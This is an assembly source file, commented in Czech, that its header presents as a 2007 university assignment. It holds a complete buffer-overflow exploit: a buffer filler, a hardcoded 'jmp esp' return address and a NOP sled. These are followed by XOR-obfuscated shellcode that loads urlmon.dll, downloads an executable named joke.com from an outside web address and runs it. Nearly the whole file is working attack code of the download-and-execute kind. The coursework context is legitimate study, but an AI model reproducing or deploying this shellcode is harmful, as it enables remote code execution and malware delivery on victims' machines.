; Druhy semestralni ukol do predmetu X36API, KP, FEL, CVUT
;
; shell-code exploitu
;
; 9. kvetna 2007
;
; Vypracoval tym:  Navratil Tomas, Pospisil Jan, Vrbicky Jiri
;
; strucny popis cinosti:
;  * zavolanim call beh ulozime aktualni adresu na zasobnik, tudiz ji muzeme zjistit
;  * vyxoruje data hodnotou AAh (tim je zamezeno prenaseni nulovych bytu)
;  * nahrajeme knihovnu urlmon.dll pomoci funkce LoadLibraryA z kernel32.dll
;  * stahneme soubor joke.com z internetu pomoci funkce URLDownloadToFileA z urlmon.dll
;  * spustime soubor joke.com pomoci funkce CreateProcessA z kernel32.dll
;  * ukoncime beh programu funkci ExitProcess z kernel32.dll


%macro exploit 0

	times 64 db 'c' ; zaplneni bufferu
	dd 0x7C941EED  ; adresa "jmp esp" v ntvdm.exe
	nop
	nop
	nop
	nop
	nop
	nop
	nop
	nop
	nop
	nop
	nop  ; skluzavka

%endmacro


	bits 32
	exploit

	jmp short skok
beh:
	pop ebx
	push ebx

	; konverze dat do pouzitelne podoby
	xor ecx, ecx
	sub ecx, -34
cyklus:
	xor dword [ss:ebx], 0aaaaaaaah
	sub ebx, -4
	loop cyklus

	; load urlmon.dll
	pop eax
	push eax
	sub eax, -84 ; lib_name
	push eax
	mov ebx, 07C801D77h
	call ebx ; call LoadLibraryA

	; download joke.com
	xor edx, edx ; NULL
	pop eax
	push eax
	push edx ; pointer2
	push edx ; reserved
	sub eax, -123
	push eax ; cmd_name
	add eax, -28
	push eax ; url
	push edx ; pointer1
	mov ebx, 07df6b785h
	call ebx ; call URLDownloadToFileA

	; start joke.com
	xor edx, edx ; NULL
	pop eax
	push eax ; proc_info
	sub eax, -16
	push eax ; start_info
	push edx
	push edx
	xor ebx, ebx
	sub ebx, -16
	push ebx ; (no creation flag) DETACHED_PROCESS
	push edx
	push edx
	push edx
	sub eax, -107
	push eax ; cmd_name
	push edx
	mov ebx, 7C802367h
	call ebx ; call CreateProcessA

	; exit
	xor eax, eax
	push eax
	mov ebx, 07c81cddah
	call ebx ; call ExitProcess

skok:	call beh


;proc_info_len:	dw 16
proc_info:
hProcess:	dd 0aaaaaaaah
hThread:	dd 0aaaaaaaah
dwProcessId:	dd 0aaaaaaaah
dwThreadId:	dd 0aaaaaaaah

;start_info_len:dw 68 (off: 16)
start_info:
cb:		dd 0aaaaaac2h
lpReserved:	dd 0aaaaaaaah
lpDesktop:	dd 0aaaaaaaah
lpTitle:	dd 0aaaaaaaah
dwX:		dd 0aaaaaaaah
dwY:		dd 0aaaaaaaah
dwXSize:	dd 0aaaaaaaah
dwYSize:	dd 0aaaaaaaah
dwXCountChars:	dd 0aaaaaaaah
dwYCountChars:	dd 0aaaaaaaah
dwFillAttribute:dd 0aaaaaaaah
dwFlags:	dd 0aaaaaaaah
wShowWindow:	dw 0aaaaaaaah
cbReserved2:	dw 0aaaaaaaah
lpReserved2:	dd 0aaaaaaaah
hStdInput:	dd 0aaaaaaaah
hStdOutput:	dd 0aaaaaaaah
hStdError:	dd 0aaaaaaaah

lib_name:	db 0dfh, 0d8h, 0c6h, 0c7h, 0c5h, 0c4h, 084h, 0ceh, 0c6h, 0c6h, 0aah ; db "urlmon.dll", 0 ; len 11 (off: 84)
url:		db 0C2h, 0DEh, 0DEh, 0DAh, 090h, 085h, 085h, 0DDh, 0DDh, 0DDh
		db 084h, 0DCh, 0DAh, 0DAh, 087h, 0C4h, 0CFh, 0DEh, 084h, 0C9h
		db 0C5h, 0C7h, 085h, 0CEh, 0CBh, 0DEh, 0CBh, 085h
		; db "http://www.vpp-net.com/data/" ; len: 28 (off: 95)
cmd_name:	db 0C0h, 0C5h, 0C1h, 0CFh, 084h, 0C9h, 0C5h, 0C7h, 0AAh
		; db "joke.com", 0 ; len: 9 (off: 123)

db 13, 10

; len: 134